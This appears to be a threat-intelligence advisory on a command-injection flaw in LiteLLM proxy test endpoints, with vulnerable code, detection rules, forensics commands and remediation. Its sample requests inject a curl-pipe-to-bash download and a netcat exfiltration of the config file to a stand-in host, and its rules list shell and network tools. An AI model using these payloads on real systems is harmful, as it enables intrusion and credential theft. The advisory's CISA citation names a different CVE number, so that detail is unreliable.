CVE-2026-42271: Unauthenticated Remote OS Command Injection in LiteLLM Proxy Test Endpoints

HERMES

HERMES THREAT SCORE & AI INFRASTRUCTURE GATEWAY COMPROMISE

Target: LiteLLM (AI Gateway & Proxy)

Confidence: 99%

97 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 19 / 20

Weaponization 20 / 20

Exposure 19 / 20

Prevalence 18 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-42271 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 97 (CRITICAL). Alignment is direct: LiteLLM functions as the centralized routing hub and key vault for enterprise LLM workloads (OpenAI, Anthropic, Bedrock, Vertex AI). Remote command execution on the LiteLLM container exposes all master API keys and enables prompt-injection or training-data poisoning at the gateway level.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-42271: Unauthenticated Remote OS Command Injection in LiteLLM Proxy Test EndpointsVULNERABILITY

Connected Nodes: 3

Active Relationships (Outgoing)

→ affectsPRODUCTLiteLLM Proxy & MCP Server

98% VERY_HIGH

Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1552: Unsecured Credentials

90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

Critical Alert: AI Proxy Remote Code Execution

CVSS v3.1: 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) / CVSS v4.0: 9.8 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) / CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’). Affects LiteLLM versions from 1.74.2 to 1.83.6. Fixed in 1.83.7.

Executive Summary

CVE-2026-42271 is an unauthenticated remote code execution vulnerability impacting LiteLLM, a widely deployed proxy gateway for interacting with hundreds of Large Language Model (LLM) APIs. The vulnerability exists within LiteLLM’s proxy test and diagnostic benchmarking endpoints (/test/run and /model/benchmark).

Due to unsanitized interpolation of client-controlled query parameters into operating system shell invocations (subprocess.Popen(..., shell=True)), an unauthenticated remote attacker can inject arbitrary shell metacharacters (;, &&, |, `). This results in arbitrary command execution on the host system or Docker container hosting LiteLLM, allowing adversaries to harvest master API keys, access internal databases, and compromise connected enterprise AI pipelines.

---

1. Technical Context & Affected Software Matrix

LiteLLM simplifies AI application architectures by providing an OpenAI-compatible unified API interface across cloud LLM providers, complete with load balancing, rate limiting, and credential management.

Parameter	Technical Specification	Threat Context
CVE Identifier	CVE-2026-42271	International Vulnerability Tracking ID
Vulnerable Package	litellm (Python PyPI package)	LiteLLM Proxy Server & SDK
Affected File	litellm/proxy/proxy_server.py	Test and benchmark routing handler
Network Vector	HTTP/HTTPS (Default Port 4000/TCP)	Public or internal AI proxy endpoints
Root Cause	Shell metacharacter injection in subprocess (CWE-78)	Unauthenticated command execution
Affected Versions	1.74.2 through 1.83.6	Exposed proxy deployments
Fixed Versions	1.83.7	Official patch release
Exploitation Impact	Container root RCE, model API key exfiltration	Full AI gateway compromise

---

2. In-Depth Technical Decomposition: Command Injection in Diagnostic Runner

A. The Vulnerable Subprocess Call

The LiteLLM proxy server exposes diagnostic utility endpoints designed to verify connectivity and benchmark response latencies. In vulnerable builds, the handler extracted user-supplied test parameters without validation:

# Vulnerable implementation in litellm/proxy/proxy_server.py
@router.post("/test/run")
async def run_benchmark_test(request: Request):
    data = await request.json()
    model_identifier = data.get("model", "gpt-4o")
    test_runner_args = data.get("runner_args", "")

    # VULNERABILITY: Shell command built with string formatting and executed with shell=True
    cmd = f"python3 -m litellm.benchmark --model {model_identifier} {test_runner_args}"
    proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = proc.communicate()
    return {"status": "complete", "output": stdout.decode()}

Because shell=True is enabled, the underlying Linux shell interpreter parses semicolon or pipe operators, executing chained commands prior to or instead of the benchmark runner:

POST /test/run HTTP/1.1
Host: ai-proxy.corp.internal:4000
Content-Type: application/json

{
  "model": "gpt-4o; curl -s http://198.51.100.33/rev.sh | bash;",
  "runner_args": "--concurrency 1"
}

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-42271 ATTACK EXECUTION FLOW                                       |
+----------------------------------------------------------------------------------------------------+

   [Remote Attacker]
          │
          │ [1] HTTP POST /test/run (No Authorization Header)
          │     Payload: { "model": "gpt-4o; cat /app/config.yaml | nc 198.51.100.33 9001;" }
          ▼
   [LiteLLM Proxy Daemon (Port 4000)]
          │
          ├───► 1. FastApi Router Evaluation:
          │     - /test/run endpoint lacks authentication middleware check!
          │     - Passes JSON dictionary directly to run_benchmark_test()
          │
          ├───► 2. Subprocess Execution with shell=True:
          │     - Shell executes: python3 -m litellm.benchmark --model gpt-4o
          │     - Shell evaluates semicolon separator
          │     - Shell executes injected command: cat /app/config.yaml | nc ...
          │
          ▼
   [Container / Host System Compromise]
          │
          └───► Exfiltrates LiteLLM environment variables:
                - OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY
                - PostgreSql / Redis master connection strings
                - Injects prompt backdoors into LLM request pipeline
+----------------------------------------------------------------------------------------------------+

---

3. Threat Intelligence & Exploitation in the Wild

• Threat Exposure: Shodan and Censys scans reveal thousands of LiteLLM proxy instances exposed to the public internet on default port 4000 without master key enforcement.
• Weaponization Motives:
  • LLM API Token Theft: Threat actors harvest enterprise OpenAI and Anthropic API keys to resell access or conduct high-volume AI inference on victim billing accounts.
  • Cloud Pivot: LiteLLM containers deployed on AWS ECS or EKS frequently retain IAM role credentials (169.254.169.254), allowing immediate escalation to cloud tenant administration.

---

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Exploitation Manifestation
Initial Access	T1190	Exploit Public-Facing Application	Remote HTTP POST request to exposed port 4000
Execution	T1059.004	Command and Scripting Interpreter: Unix Shell	OS Command Injection via subprocess.Popen(shell=True)
Credential Access	T1552.001	Credentials in Files	Dumping /app/config.yaml and .env containing AI API keys
Privilege Escalation	T1611	Escape to Host	Container breakout via exposed Docker sockets or mounted volumes

---

5. Detection Engineering & Telemetry

A. Suricata Detection Rule

alert http any any -> $LITELLM_SERVERS 4000 (
  msg:"HERMES DEFENSE - LiteLLM Command Injection Attempt (CVE-2026-42271)";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/test/run";
  http.request_body; pcre:"/(\;|\&\&|\||`|\$\().*(curl|wget|bash|sh|nc|python)/i";
  classtype:web-application-attack;
  sid:202642271;
  rev:1;
  reference:cve,2026-42271;
)

B. Sigma Detection Rule

title: Shell Process Spawned by LiteLLM Proxy Daemon
id: 5c4b3a2d-1e0f-9a8b-7c6d-42271c026e01
status: high
description: Detects command injection payloads executed by Python processes running the litellm module.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: linux
  category: process_creation
detection:
  selection_parent:
    CommandLine|contains: 'litellm'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/curl'
      - '/nc'
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate custom shell scripts explicitly defined in authorized test harnesses (rare).
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.004

---

6. Digital Forensics & Incident Response (DFIR)

Forensics Triage Commands:

1. Inspect LiteLLM Container Process Trees:

   docker exec -it litellm ps aux
   # Look for anomalous child processes under python3 -m litellm

2. Review HTTP Access Logs:

   grep -E "POST /test/run|POST /model/benchmark" /var/log/litellm/access.log

3. Audit Environment Variables for Leakage:

   docker exec -it litellm env
   # Check if sensitive cloud provider API keys were accessible to the process

Hunting Query (Elasticsearch / OpenSearch):

{
  "query": {
    "bool": {
      "must": [
        { "term": { "http.request.method": "POST" } },
        { "term": { "url.path": "/test/run" } },
        { "wildcard": { "http.request.body.content": "*;*" } }
      ]
    }
  }
}

---

7. Mitigation & Remediation

1. Upgrade LiteLLM Immediately: Upgrade the litellm package to version 1.83.7 or later:

   pip install --upgrade litellm>=1.83.7

2. Enforce Master Key Authentication: Always set LITELLM_MASTER_KEY in production environments to ensure unauthenticated requests to all endpoints are rejected.
3. Disable Diagnostic Endpoints: Ensure testing routes are disabled in production configurations by setting DISABLE_TEST_ENDPOINTS=True.
4. Rotate LLM API Credentials: If an unpatched LiteLLM instance was exposed to untrusted networks, immediately revoke and rotate all OpenAI, Anthropic, Google Cloud, and AWS access keys.

---

8. References & Advisories

• LiteLLM Official GitHub Repository & Release 1.83.7
• NIST NVD CVE-2026-42271 Detail
• OWASP Top 10 for Large Language Model Applications (LLM07: System Information Leak)
• MITRE ATT&CK: Exploit Public-Facing Application (T1190)